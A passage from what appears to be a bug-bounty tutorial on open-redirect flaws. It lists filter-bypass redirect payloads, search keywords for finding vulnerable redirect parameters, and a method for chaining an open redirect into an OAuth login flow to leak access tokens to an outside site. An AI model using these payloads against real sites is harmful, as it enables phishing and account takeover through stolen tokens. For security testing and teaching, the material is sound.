//theirsite@yoursite.com

/\/yoursite.com

https://yoursite.com%3F.theirsite.com/

https://yoursite.com%2523.theirsite.com/

https://yoursite?c=.theirsite.com/ (use # \ also)

//%2F/yoursite.com

////yoursite.com

https://theirsite.computer/

https://theirsite.com.mysite.com

/%0D/yoursite.com (Also try %09, %00, %0a, %07)

/%2F/yoururl.com

/%5Cyoururl.com

//google%E3%80%82com

Some common words I dork for on google to find vulnerable endpoints: (don't forget to test for upper & lower case!)

return, return_url, rUrl, cancelUrl, url, redirect, follow, goto, returnTo, returnUrl, r_url, history, goback, redirectTo, redirectUrl, redirUrl

Now let's take advantage of our findings. If you aren't familiar with how an Oauth login flow works I recommend checking out https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2.

Typically the login page will look like this: https://www.target.com/login?client_id=123&redirect_url=/sosecure and usually the redirect_url will be whitelisted to only allow for ***.target.com/***. Spot the mistake? Armed with an open url redirect on their website you can leak the token because as the redirect occurs the token is smuggled with the request.

The user is sent to https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/ and upon logging in will be redirected